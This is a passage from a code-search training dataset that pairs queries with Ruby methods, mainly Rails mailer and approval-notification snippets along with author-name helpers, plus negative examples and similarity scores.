COMMENT_BODY_PARSER\n $1\n elsif created_by and created_by.sfcontact\n created_by.sfcontact.name\n end\n end", "def author_name\n self.author ? \"#{self.author}\" : 'Anonymous'\n end", "def author_name\n self.author.name if author \n end", "def name_descriptions_by_author # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_author, :user => user)\n show_selected_name_descriptions(query)\n end\n end", "def created_by\r\n\t\t\treturn \"Laura OMalley\"\r\n\t\tend", "def author\n @author\n end", "def full_name\n (@session[:current_user_details] || {})[:description]\n end", "def get_full_name\n title\n end", "def author\n\t\t@author\n\tend", "def author_string\n auth = nil\n if authors.size > 0 # Build based on People \n case authors.size\n when 1\n auth = authors.first.last_name # self.author\n when 2 \n auth = authors.map(&:last_name).join(\" & \")\n when 3...100\n auth = authors[0..-1].map(&:last_name).join(\", \") + \" & \" + authors.last.last_name\n end\n else # Build based on string\n auth = self.author\n end\n auth\n end", "def user_of_comment\n comment = Comment.find(self)\n if !comment.nil?\n admin = Admin.find(comment.admin_id)\n if !admin.nil?\n admin.first_name << \" \" << admin.last_name\n end\n end\n end", "def\n get_author()\n @author\n end", "def print_created_by\n puts 'Created by James (#1) Bronzan'\n end", "def author_name\n self.posts.first.author_name\n end", "def extract_author_name\n `git config user.name`.strip\n end", "def title\n if review?\n confidential? ? \"#{name} (Private Review)\" : \"#{name} (Shared Review)\"\n elsif verification?\n \"#{name} (Verification)\"\n elsif groups?\n \"#{name} (Group)\"\n elsif private_type?\n \"#{name} (Private)\"\n elsif government?\n \"#{name} (Government)\"\n else\n \"#{name} (Administrator)\"\n end\n end", "def display_name\n entry = JSON.parse(self.entry)\n user = User.find(user_id)\n \"#{user.display_name} #{entry['text']}\"\n end", "def author\n page.version.author.name\n end", "def by_author\n user = find_obj_or_goto_index(\n model: User, obj_id: params[:by_author].to_s,\n index_path: name_descriptions_path\n )\n return unless user\n\n query = create_query(:NameDescription, :by_author, user: user)\n show_selected_name_descriptions(query)\n end", "def pretty_author(user, options = {})\n content_tag :span, :class => \"author vcard\" do\n content_tag :span, :class => \"fn\" do\n user.name rescue \"Admin\"\n end\n end\n end", "def who_assigned_this_todo\n assigner = User.find_by_id(self.added_by)\n return assigner.name\n end", "def author\n @author ||= begin\n UnfuddleAPI::People.find(self[:author_id]).username\n rescue\n ''\n end\n end", "def author_name\n self.author ? self.author.name : nil\n end", "def user_name_published\n \"Written by: #{user.email}\"\n end", "def admin_names\n extract_mentioned_screen_names(message)\n end", "def get_author()\n return @author\n end", "def display_name \n username\n end", "def author_name(book)\n \"#{book.author.first_name} #{book.author.last_name}\"\n end", "def authorstring\n @authorstring ||= self.authors.collect { |a| a.last }.sort.to_sentence(:last_word_connector => ' и ')\n @authorstring\n end", "def get_full_name\n description\n end", "def display_name\n username\n end", "def author_name\n self.author ? self.author.name : nil \n end", "def mary_desc\n name_descriptions(:peltigera_user_desc)\n end", "def employee_username\n general_info_table_element[0][1].text\n end", "def author\n quote_of_the_day[second_to_last_index(quote_of_the_day, \"~\")..quote_of_the_day.rindex(\"~\")].gsub(/(\\A~\\s*|\\s*~\\z)/, \"\")\n end", "def title\n object.user.full_name\n end", "def commenter_name(user_id)\n User.find(user_id).name\n end", "def get_admins\n self._get_reviewers(\"admin\")\n end", "def author\n commenter.try(:name)\n end", "def get_author\n\t\t# TODO\n\t\tauthor_id\n\tend", "def author_names\n\t\treturn self.authors.map do |author|\n\t\t\tauthor[ /^(.*?) </, 1 ]\n\t\tend\n\tend", "def author_name\n user.blank? ? I18n.t('view.comments.anonymous') : user.name\n end", "def get_author_name_or_blank\n ret = \"\"\n ret += firstname unless firstname.blank?\n ret += \" \" unless firstname.blank? or name.blank?\n ret += name unless name.blank?\n ret\n end", "def author\n @title_pages.each { |tp| tp.author and return tp.author }\n nil\n end", "def author; @author; end", "def author; @author; end", "def print_created_by\n return \"This game was created by Kevin Tripp.\"\n end", "def author_username\n anonymous? ? Reply.human_attribute_name(:anonymous) : user.username\n end", "def user_name\n if /(.*)-\\d{8}-\\d{6}$/ =~ perma_link\n return $1\n else\n return \"unknown\"\n end\n end", "def meta_author\n \"Ahmed Nadar\"\n end", "def interviewer_full_name\n \"#{self.interviewer_first_name.capitalize} #{self.interviewer_last_name.upcase}\"\n end", "def display_name_for(user)\n user.first_name.capitalize + ' ' + user.last_name.capitalize + ' ( ID: ' + user.reference_number + ')'\n end", "def name_when_entry_author\n Rails.cache.fetch(\"#{__method__}/#{cache_key_with_version}/#{organization.users_count}\") do\n full_form = \"#{name} @ #{organization.name}\"\n next(full_form) unless organization.individual?\n\n name == organization.name ? name : full_form\n end\n end", "def seller\n author\n end", "def format_autonym(name, author, _rank, deprecated)\n words = name.split\n if author.blank?\n format_name(name, deprecated)\n elsif words[-7] == words[-1]\n [\n format_name(words[0..-7].join(\" \"), deprecated),\n author,\n words[-6],\n format_name(words[-5], deprecated),\n words[-4],\n format_name(words[-3], deprecated),\n words[-2],\n format_name(words[-1], deprecated)\n ].join(\" \")\n elsif words[-5] == words[-1]\n [\n format_name(words[0..-5].join(\" \"), deprecated),\n author,\n words[-4],\n format_name(words[-3], deprecated),\n words[-2],\n format_name(words[-1], deprecated)\n ].join(\" \")\n elsif words[-3] == words[-1]\n [\n format_name(words[0..-3].join(\" \"), deprecated),\n author,\n words[-2],\n format_name(words[-1], deprecated)\n ].join(\" \")\n else\n format_name(name, deprecated) + \" \" + author\n end\n end", "def reviewed_by\n return @reviewed_by\n end", "def get_full_name\n # [Steve, 20140725] Too long/repetitive: \"#{description} #{header_year} - #{get_federation_type}\"\n description\n end", "def author\n user\n end", "def to_s\n \"[Admin: '#{get_full_name}']\"\n end", "def formatAuthName(auth)\n str = \"\"\n if auth.at(\"lname\") && auth.at(\"fname\")\n str = auth.at(\"lname\").text.strip + \", \" + auth.at(\"fname\").text.strip\n auth.at(\"mname\") and str += \" \" + auth.at(\"mname\").text.strip\n auth.at(\"suffix\") and str += \", \" + auth.at(\"suffix\").text.strip\n elsif auth.at(\"fname\")\n str = auth.at(\"fname\").text\n elsif auth.at(\"lname\")\n str = auth.at(\"lname\").text\n else\n puts \"Warning: can't figure out author #{auth}\"\n str = auth.text\n end\n return str\nend", "def authors\n author\n end", "def email_from_creator created_by\n names = created_by.split(' ')\n return \"#{names[1]}#{names[0]}\".downcase + \"@swansea.ac.uk\"\nend", "def name\r\n\t\t@usr_name\r\n\tend", "def name\r\n\t\t@usr_name\r\n\tend", "def audithelp_user_name( record )\n return to_descriptive_s( record.user ? record.user.name : nil )\n end" ]
[ "0.68571734", "0.67655355", "0.6757834", "0.67468387", "0.6733212", "0.6718094", "0.6714925", "0.66346055", "0.66316706", "0.66230094", "0.6576259", "0.6576259", "0.65704286", "0.6569066", "0.6560141", "0.65553147", "0.6551965", "0.65485185", "0.653709", "0.6532437", "0.6528219", "0.6509866", "0.65097", "0.64726406", "0.6472188", "0.64680594", "0.6467283", "0.64601237", "0.64511824", "0.6396067", "0.6392452", "0.63824266", "0.6355651", "0.6323191", "0.63194335", "0.6319385", "0.6317152", "0.6282892", "0.6275522", "0.62671494", "0.6264456", "0.6256574", "0.6252", "0.6238418", "0.62375444", "0.62284535", "0.62266856", "0.6209368", "0.6183048", "0.61815953", "0.6178598", "0.6165409", "0.6164232", "0.61632675", "0.6153158", "0.6142899", "0.6139726", "0.6138285", "0.613582", "0.613213", "0.6131244", "0.61198443", "0.6115531", "0.6114947", "0.61034364", "0.6089787", "0.6075722", "0.6058704", "0.6057738", "0.60469043", "0.60326296", "0.6030419", "0.60291517", "0.6013965", "0.6000018", "0.5993621", "0.59922224", "0.59806496", "0.5977683", "0.5977345", "0.5977345", "0.5970342", "0.59600294", "0.5958335", "0.59549385", "0.5944355", "0.5934258", "0.5933377", "0.5924129", "0.5911498", "0.590678", "0.59064275", "0.5894879", "0.5890689", "0.5885583", "0.5882538", "0.5879212", "0.5865098", "0.5865098", "0.5864555" ]
0.7266418
0
Get response for sending KYC approve email Author: Mayur Date: 03/12/2018 Reviewed By:
def email_kyc_approve(data_to_format) {} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_approve_email\n 'send_approve_email'\n end", "def approved_notification\n @user = params[:user]\n mail(to: @user.email, subject: 'Library Card Request Approved')\n end", "def approved\n @req = Request.last\n RequestMailer.approved(@req)\n end", "def confirm(viper)\n @viper = viper\n if @viper.app_type == \"vip\"\n mail(to: @viper.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的买家:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证及名片)到展会现场VIP接待处领取VIP买家证。\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:[email protected]\n\n\"\n )\n else\n mail( to: @viper.email,\n subject: \"您的申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n body: \"亲爱的客户:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证、参展商证)到展会现场领取晶品荟招待卡。\n\n\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:[email protected]\n\")\n end\n end", "def email_approved_proposal\n ProposalMailer.email_approved_proposal\n end", "def approve\n email = Email.find(params[:id])\n email.state = \"Approved\"\n # Send email\n if email.save!\n email.send_email!\n head :no_content\n else\n respond_with email, status: :unprocessable_entity\n end\n end", "def email_approve(params)\n http_helper.send_post_request(\"#{@url_prefix}/#{get_user_id!(params)}/email/approve\", params)\n end", "def request_approval\n reservation = Reservation.first\n ReservationMailer.request_approval(reservation)\n end", "def response(expo_attendee_id)\n @expo_attendee = ExpoAttendee.find(expo_attendee_id)\n mail(to: @expo_attendee.email, subject: \"#{@expo_attendee.first_name} , you've entered the draw to win two free movie tickets.\")\n end", "def approval_user\n target_user = User.find(params[:user_id])\n approval_status = params[:approved].blank? ? User::ApprovalStatusReject : User::ApprovalStatusApproved\n comment = params[:comment]\n # unless target_user.approval_status == User::ApprovalStatusApproved\n target_user.update(approval_status: approval_status, comment: comment, approval_date_time: DateTime.current)\n # end\n\n # if target_user.approval_status == User::ApprovalStatusApproved\n # if target_user.company_buyer_entities.any?{ |x| x.approval_status == CompanyBuyerEntity::ApprovalStatusPending}\n # target_user.update(comment: comment, approval_date_time: DateTime.current)\n # else\n # target_user.update(approval_status: approval_status, comment: comment, approval_date_time: DateTime.current)\n # end\n # end\n\n if approval_status == User::ApprovalStatusApproved\n UserMailer.approval_email(target_user).deliver_later\n elsif approval_status == User::ApprovalStatusReject\n UserMailer.reject_email(target_user).deliver_later\n end\n result_json = {user_base_info: target_user}\n result_json\n end", "def admin_review_email(user, content, business, rating)\n @user = user\n @content = content\n @business = business\n @rating = rating\n mail(:to => \"[email protected]\", :subject => \"New Review on CONSIGN.NYC\")\n end", "def ep_notify(form_answer_id, collaborator_id)\n @form_answer = FormAnswer.find(form_answer_id).decorate\n @user = @form_answer.user.decorate\n collaborator = User.find(collaborator_id)\n\n @current_year = @form_answer.award_year.year\n @subject = \"King's Awards for Enterprise Promotion: Thank you for your nomination\"\n\n send_mail_if_not_bounces ENV['GOV_UK_NOTIFY_API_TEMPLATE_ID'], to: collaborator.email, subject: subject_with_env_prefix(@subject)\n end", "def project_approval(user)\n @user = user\n mail to: @user.email, subject: \"Approval of requested project at Freelancer.com\"\n end", "def successful_preapproval_details_response_json\n <<-RESPONSE\n {\"responseEnvelope\":{\"timestamp\":\"2009-08-19T20:06:37.422-07:00\",\"ack\":\"Success\",\"correlationId\":\"4831666d56952\",\"build\":\"1011828\"},\"preapprovalKey\":\"PA-13R096665X681474E\", \"status\":\"ACTIVE\"}\n RESPONSE\n end", "def request_approved(request)\n @request = request\n @email = @request.clid + '@louisiana.edu'\n mail to: @email, subject: \"Room Change Request Approved\"\n end", "def approve\n respond_to do |format|\n if @version.approve!(current_user)\n UserMailer.approval_notification(current_user, @version.versionable.node, @version.editor, params[:comment], :host => request.host).deliver if @version.editor\n format.xml { head :ok }\n else\n format.xml { head :internal_server_error }\n end\n end\n end", "def approve\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def auto_approve_type\n 'auto'\n end", "def subscriber_notice_approval_alert\n BrandMailer.subscriber_notice(\n brand: Brand.find_by(company_name: 'Brand Nine'),\n stage: 'approval_alert'\n )\n end", "def review_decision\n\t\tproject = @task.project\n\t\t@data[:decision_owner] = @task.assigned_to.try(:full_name)\n\t\t@data[:decision_title] = @task.title\n\t\t@data[:project_name] = project.title\n @data[:recipient_names] = recipient_names\n\t\t@data[:decision_link] = \"#{ENV['DOMAIN']}/#/app/projects/#{project.id}/tasks\"\n\t\t@template_slug = APOSTLE_MAIL_TEMPLATE_SLUG[:review_decision]\n\t\ttrigger_mail\t\t\n\tend", "def approval(user, company)\n @subject = \"#{user.name} is authorized to trade at Foodmoves.com\"\n @body = {:user => user,\n :company => company}\n @recipients = user.email\n @bcc = @@bcc\n @from = 'Foodmoves Support <[email protected]>'\n @sent_on = Time.now\n end", "def post_approve_email\n NotificationMailer.post_approve_email('[email protected]')\n end", "def send_outstanding_alert_to_approver(agency, user)\n setup_email\n body[:agency] = agency\n body[:user] = user\n recipients user.email\n subject \"Timesheet Approval Reminder\"\n end", "def act_on_ok\n if body['message'] == 'Approval successful.'\n output(\n event: 'success',\n message: message_text,\n uuid: body['uuid'],\n accession: payloads.first[:output][:accession]\n )\n else\n Rails.logger.error(\"Approve transfer Job failed with: #{message_text}\")\n output(event: 'failed', message: message_text)\n fail!\n end\n end", "def notify_status_approved(user, redemption)\n @redemption = redemption\n @reward = redemption.reward\n @approver = redemption.approver\n @user = user\n notify_redeemer_status_change(user, redemption, t(\"rewards.redemption_was_approved\", reward_title: redemption.reward.title))\n end", "def recap_loan_confirm\n to = params['emailAddress']\n from = '[email protected]'\n confirm_bcc = APP_CONFIG[:recap_loan][:confirm_bcc]\n recap_subject = 'Offsite Pick-Up Confirmation'\n recap_subject += \" [#{params['titleIdentifier']}]\" if params['titleIdentifier']\n recap_subject += \" (#{Rails.env})\" if Rails.env != 'valet_prod'\n subject = recap_subject\n # Make params available within template by using an instance variable\n @params = params\n mail_params = {to: to, from: from, subject: subject}\n mail_params[:bcc] = confirm_bcc if confirm_bcc\n mail(mail_params)\n end", "def emailapprover(miq_request, appliance, msg)\n $evm.log('info', \"Approver email logic starting\")\n\n # Get requester object\n requester = miq_request.requester\n\n # Get requester email else set to nil\n requester_email = requester.email || nil\n\n # Get Owner Email else set to nil\n owner_email = miq_request.options[:owner_email] || nil\n $evm.log('info', \"Requester email:<#{requester_email}> Owner Email:<#{owner_email}>\")\n\n # Override to email address below or get to_email_address from from model\n to = nil\n to ||= $evm.object['to_email_address']\n\n # Override from_email_address below or get from_email_address from model\n from = nil\n from ||= $evm.object['from_email_address']\n\n # Get signature from model unless specified below\n signature = nil\n signature ||= $evm.object['signature']\n\n # Set email subject\n subject = \"Request ID #{miq_request.id} - Automation request was not approved\"\n\n\n # Build email body\n body = \"Approver, \"\n body += \"<br>An automation request received from #{requester_email} is pending.\"\n body += \"<br><br>#{msg}.\"\n body += \"<br><br>For more information you can go to: <a href='https://#{appliance}/miq_request/show/#{miq_request.id}'>https://#{appliance}/miq_request/show/#{miq_request.id}</a>\"\n body += \"<br><br> Thank you,\"\n body += \"<br> #{signature}\"\n\n # Send email to approver\n $evm.log('info', \"Sending email to <#{to}> from <#{from}> subject: <#{subject}>\")\n $evm.execute(:send_email, to, from, subject, body)\nend", "def donations_approved(user, project=nil)\n setup_email(user)\n @subject += head_encode(project ? (\"Contributions for %s have been activated\" / project.login) : 'Your contributions request has been approved'.t)\n @body[:project] = project\n @body[:url] = \"http://#{APP_CONFIG[:hostname]}/money\"\n end", "def confirm(blank)\n @blank = blank\n if @blank.apply_type == \"ex_apply\"\n mail(to: @blank.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的参展商朋友:<br/>\n &nbsp;&nbsp;&nbsp;恭喜您,您所提交的参展申请已经审核通过,请携带个人名片、身份证及以下参展确认号至展会现场媒体接待处领取参展证。\n <ul>\n <li><a href='http://121.41.26.127/stores/1'>1号馆 左边部分</a></li>\n <li><a href='http://121.41.26.127/stores/3'>9号馆上半部分</a></li>\n <li><a href='http://121.41.26.127/stores/4'>1号馆 右边部分</a></li>\n <li><a href='http://121.41.26.127/stores/5'>9号馆下半部分</a></li>\n </ul>\n &nbsp;&nbsp;&nbsp;展览时间:
2015-06-25 至 2015-06-28 <br/>\n &nbsp;&nbsp;&nbsp;展览地点: 
深圳会展中心(1、9号馆) 
<br/>\n &nbsp;&nbsp;&nbsp;如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 

主办信息:
2015中国(深圳)国际钟表展览会 
电话:0755-82945180
传真:0755-82941162 
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:[email protected]\"\n )\n else\n mail( to: @blank.email,\n subject: \"您的记者证申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n body: \"亲爱的媒体朋友:\n恭喜您,您所提交的记者证申请已经审核通过,请携带个人名片、身份证及以下记者证确认号至展会现场媒体接待处领取记者证。\n\n展览时间:
2015-06-25 至 2015-06-28 \n
展览地点: 
深圳会展中心(1、9号馆) 
\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 

主办信息:
2015中国(深圳)国际钟表展览会 
电话:0755-82945180
传真:0755-82941162 
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:[email protected]\")\n end\n end", "def approve\n approve_user\n return if notified?\n email_topic_subscribers\n end", "def approval_status\n if object.approval\n \"Zaakceptowane\"\n elsif object.approval == nil\n \"Oczekujące\"\n else\n \"Odrzucone\"\n end\n end", "def loan_request_accepted_notification(transaction)\n @owner = transaction.owner\n @requester = transaction.requester\n @user_lacquer = transaction.user_lacquer\n\n mail(to: @requester.email, subject: \"#{@owner.name} has agreed to loan you #{@user_lacquer.lacquer.name}!\")\n\n headers['X-MC-Track'] = \"opens, clicks_all\"\n end", "def acceptance_email ucr\n extract_variables ucr\n\n mail to: @user.email\n end", "def send_manual_review_needed_email\n return if (@reprocess == 1) || !@user_kyc_detail.send_manual_review_needed_email?\n\n review_type = (@client_kyc_pass_setting.approve_type == GlobalConstant::ClientKycPassSetting.auto_approve_type) &&\n (@user_kyc_comparison_detail.auto_approve_failed_reasons_array &\n GlobalConstant::KycAutoApproveFailedReason.ocr_fr_review_type_failed_reasons).present? ?\n GlobalConstant::PepoCampaigns.ocr_fr_failed_review_type :\n GlobalConstant::PepoCampaigns.manual_review_type\n\n template_variables = {\n case_id: @user_kyc_detail.id,\n full_name: @user_extended_detail.get_full_name,\n review_type: review_type\n }\n\n admin_emails = GlobalConstant::Admin.get_all_admin_emails_for(\n @user_kyc_comparison_detail.client_id,\n GlobalConstant::Admin.manual_review_needed_notification_type\n )\n\n admin_emails.each do |admin_email|\n ::Email::HookCreator::SendTransactionalMail.new(\n client_id: ::Client::OST_KYC_CLIENT_IDENTIFIER,\n email: admin_email,\n template_name: ::GlobalConstant::PepoCampaigns.manual_review_needed_template,\n template_vars: template_variables\n ).perform\n\n end\n\n end", "def send_admin_review_email\n Mailer.admin_review_email(user, content, business, rating).deliver\n end", "def account_approved(approved_customer, approving_manager)\n @customer = approved_customer\n @manager = approving_manager\n mail to: @customer.email, subject: \"You have been approved as a customer with TSHA\"\n end", "def actions_for_approver(to_email, approval, alert_partial=nil)\n @show_approval_actions = true\n self.notification_for_approver(to_email, approval, alert_partial)\n end", "def approval_needed(user)\n @user = user\n\n mail to: ENV['ADMIN_EMAIL'], subject: \"User wants approval for Thumbline Set List\"\n end", "def request\n if Pending.approved.include? @@item.attach\n 'unapprove'\n elsif Pending.unapproved.include? @@item.attach\n 'approve'\n elsif @@item.approved and @@item.approved.include? User.initials\n 'unapprove'\n else\n 'approve'\n end\n end", "def update\n @ticket.approved_at = Time.now\n \n if @ticket.update(ticket_params)\n \n # Add customer feedback to Notes\n if @ticket.approval_feedback.present?\n @ticket.notes.create(\n note_type: :from_customer,\n note: @ticket.approval_feedback\n )\n end\n \n # Email approval\n Ticket::CustomerMailer.ticket_approval_email(@ticket).deliver_later\n \n message = if @ticket.approved?\n 'Thanks for approving our work.'\n else\n 'Thank you for your feedback.'\n end\n message += \" A confirmation will be emailed to #{@ticket.approval_email}.\"\n \n redirect_to ticket_approval_path, notice: message\n else\n approval_confirm\n end\n end", "def reviewed(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo Biopharma Inquiry Reviewed'\n end", "def pending_for_approval(company, id, auth, sent_at = Time.now)\n subject \"Pending for Approval #{company}\"\n recipients AppConfig.support_email\n from \"#{AppConfig.patrol_email}\"\n sent_on sent_at\n content_type \"multipart/alternative\"\n\n part :content_type => \"text/plain\",\n :body => render_message(\"pending_for_approval\", :company => company, :id => id, :auth => auth)\n end", "def activation_request(consumer)\n publisher consumer.publisher\n I18n.locale = consumer.preferred_locale if consumer.preferred_locale.present?\n # ¡Aviso! Por favor verifíque la dirección de su correo electrónico.\n subject Analog::Themes::I18n.t(consumer.publisher, \"consumers.activation_request.subject\")\n recipients consumer.email\n from daily_deal_sending_email_address(consumer.publisher)\n sent_on Time.now\n body :consumer => consumer\n end", "def approval_status\n self.approved? ? 'Approved ' : 'Pending '\n end", "def auto_approve\n if !self.auto_approved && self.approval_status.nil?\n UserMailer.auto_approved_email(self).deliver\n self.auto_approved = true\n self.approval_status = true\n self.save\n end\n end", "def kyc_approved_template\n 'kyc_approved'\n end", "def approve_mr\n body = \"approved this merge request\"\n\n create_note(NoteSummary.new(noteable, project, author, body, action: 'approved'))\n end", "def approve\n set_service_request_status(ServiceProvider, ServiceRequest.statuses[:approved])\n\n # notify client\n NotificationsService.send_notification(@current_user, @service_request.service.client, NOTIFICATION_TYPE[:approved_your_request], @service_request.service_id)\n end", "def approve\n if Interface.first.nil?\n redirect_to root_url and return\n end\n\n n = Notification.find_by(id: params[:notif])\n n.actor.organization.update_attribute(:approved, true)\n n.actor.update_attribute(:approved, true)\n UserMailer.approved_org(n.actor.email, n.actor.organization.name).deliver_now\n end", "def application_approved(exam_candidate)\n @exam_candidate = exam_candidate\n \n using_locale @exam_candidate.language do\n mail :to => @exam_candidate.email_address_with_name\n end\n end", "def approve_order order\n @order = order\n @user = @order.user\n\n mail to: @user.mail, subject: \"Approve Order\"\n end", "def approved(person)\n @person = person\n mail to: person.email, subject: \"Your Account Approved!\"\n end", "def confirm_booksbymail_email(user, bib, values)\n @to = \"[email protected]\"\n @from = \"#{user.name} <#{user.data['email']}>\"\n @subject = \"Books by Mail Request\"\n\n @title = values['title']\n @bibid = values['bibid']\n @author = values['author']\n @publication = values['publication']\n @callno = values['call_no']\n @volume = values['volume']\n @comments = values[:comments]\n @patronname = user.name \n @patronemail = values['email']\n @pennid = user.data['penn_id']\n\n if Rails.env.development?\n @subject = \"TEST \" + @subject + \" (to: #{@to}, from: #{@from})\"\n @to = ENV['DEVELOPMENT_EMAIL']\n @from = ENV['DEVELOPMENT_EMAIL']\n end\n\n mail(to: @to,\n from: @from,\n subject: @subject,\n template_name: 'confirm_booksbymail')\n end", "def newly_approved_offers email, offers\n @contact_person = email.contact_people.first\n @offer = offers.count == 1 ? offers.first : nil\n @section_suffix = get_section_suffix offers\n @unsubscribe_href = get_sub_or_unsub_href email, 'unsubscribe'\n @offer_href = get_offer_href_for_single_offer offers.first, @section_suffix\n @vague_title = email.vague_contact_title?\n @overview_href_suffix = \"/emails/#{email.id}/angebote\"\n @utm_tagging_suffix = generate_utm_suffix offers, 'AO', 'FU'\n headers['X-SMTPAPI'] =\n { category: ['newly approved offer', @section_suffix] }.to_json\n send_emails email, offers, :newly_approved,\n t('.subject', count: offers.count,\n name: t(\n \".clarat_name_subject.#{@section_suffix}\"\n ))\n end", "def get_ApprovalURL()\n \t return @outputs[\"ApprovalURL\"]\n \tend", "def request_email ucr\n extract_variables ucr\n @url = accept_change_request_url(ucr.token)\n\n mail to: @user.email\n end", "def paid\n #if @notification.acknowledge # check if it’s genuine Robokassa request\n #@user.approve! # project-specific code\n render :text => @notification.success_response\n @user.approve!\n #else\n #head :bad_request\n #end\n end", "def request_pre_approval(account = nil)\n params = Serializer.new(self).to_params\n response = post('/pre-approvals/request', API_V2 ,account, params).parsed_response\n code = response['preApprovalRequest']['code']\n \n PagSeguro.redirect_url(API_V2) + \"/pre-approvals/request.html?code=#{code}\"\n end", "def email_not_approved_proposal\n ProposalMailer.email_not_approved_proposal\n end", "def ping_reviewer(review)\n\n to_list = [review[:user].email]\n cc_list = []\n subject = 'Your unresolved Design Review(s)'\n\n @user = review[:user]\n @result = review[:results]\n \n if review[:urgent]\n attachments.inline['warning.png'] = File.read('app/assets/images/warning.png')\n headers['Importance'] = 'high'\n headers['X-Priority'] = '1'\n headers['X-MSMail-Priority'] = 'High'\n end\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list,\n ) \n end", "def approve(user)\n set_attachments\n\n @user = user\n mail(to: @user.email, subject: \"Cuenta Activada @ Social Target - Its time to go social\")\n end", "def approval_owner\n if self.approval_kind_id == 16\n e = OwnedShipCrewRequest.find_by approval_id: self.id\n \"#{e.character.full_name} requesting to join #{e.crew.owned_ship.title} (Crew Request)\"\n end\n end", "def bearstor_confirm\n to = params[:patron_email]\n from = \"Barnard Remote Request Service <#{params[:staff_email]}>\"\n title = params[:bib_record].title\n subject = \"BearStor Request Confirmation [#{title}]\"\n mail(to: to, from: from, subject: subject)\n end", "def approved_by\n t(:message_0, :scope => [:model, last_approver.to_s.underscore])\n end", "def is_approval_request\n return @is_approval_request\n end", "def verdict\n if self.is_complete?\n return self.status_str.titleize\n elsif self.ready_to_submit?\n return 'Ready to submit'\n elsif self.status_str == 'missing information'\n return \"Waiting on response from #{self.user.name || self.user.email} \"\n elsif ['unopened', 'in review' ].include? self.status_str\n return \"Waiting on response from #{self.current_reviewer.name || self.current_reviewer.email}\"\n elsif next_reviewer.nil?\n return \"Error\"\n else\n return \"Waiting on response from #{next_reviewer.name || next_reviewer.email}\"\n end\n end", "def store_review_email(user, content, business, rating)\n @user = user\n @content = content\n @business = business\n @rating = rating\n mail(:to => @business.admin_email, :subject => \"#{@business.name} has received a new review on CONSIGN.NYC\")\n end", "def notify_approver(item)\n @item = item\n @url = case @item.class.name\n when 'Program'\n program_url(@item)\n when 'Event'\n event_url(@item)\n end\n mail(subject: \"#{@item.name} may need your approval\")\n end", "def ack_receipt\n Net::HTTP.get(URI(params[:response_url]))\n end", "def response_request(leaveapplication)\n @leaveapplication = leaveapplication \n mail :to=> User.find(@leaveapplication.user_id).email.to_s,:cc=> \"[email protected]\",:subject=>\"Response\"\n end", "def approve_user\n # set the enabled flag to true for the user\n # send out approval notification\n end", "def ticket_approved\n TaskMailer.with(task: Task.first).ticket_approved\n end", "def get_account_vacation_message(email_address:, password:)\n username, domain = email_address.split(\"@\", 2)\n\n params = {\n \"domain\" => domain,\n \"user\" => username,\n \"password\" => password,\n \"api\" => 1\n }\n\n request(:post, \"/CMD_EMAIL_ACCOUNT_VACATION\", params).tap { |response|\n response[\"reply_content_type\"] = Oga.parse_html(response.delete(\"reply_content_types\")).at_css(\"[selected]\").then {|node|\n [node.get(\"value\"), node.text]\n }\n\n response[\"reply_encoding\"] = Oga.parse_html(response.delete(\"reply_encodings\")).at_css(\"[selected]\").then { |node|\n [node.get(\"value\"), node.text]\n }\n\n response[\"reply_once\"] = Oga.parse_html(response.delete(\"reply_once_select\")).at_css(\"[selected]\").then { |node|\n [node.get(\"value\"), node.text]\n }\n }\n end", "def appointment_confirmation(appoint_obj)\n @doctor = Doctor.find_by_id(appoint_obj.doctor_id)\n @patient = Patient.find_by_id(appoint_obj.patient_id)\n mail(:to => @patient.email, :subject => \"Appointment Approved\")\n end", "def new_review_email(user, business)\n @user = user\n @business = business\n mail(:to => @user.email, :subject => \"Your review has been posted on CONSIGN.NYC\")\n end", "def emailOnTeammateReview(revieweeId)\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n user=User.find_by_id(participant)\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_teammate_review\"\r\n if(user.email_on_teammate_review)\r\n email(user.email,\"TeammateReview\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end", "def review_request(user)\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def verification_letter(user)\n @user = user\n authorization = @user.authorizations.where(confirmed: false).first\n @url = \"http://localhost:3000/verifications/#{@user.id}/#{authorization.id}/#{authorization.checksum}/verify\"\n\n mail to: @user.email\n end", "def bid_accepted_email(bid)\n @bid = bid\n 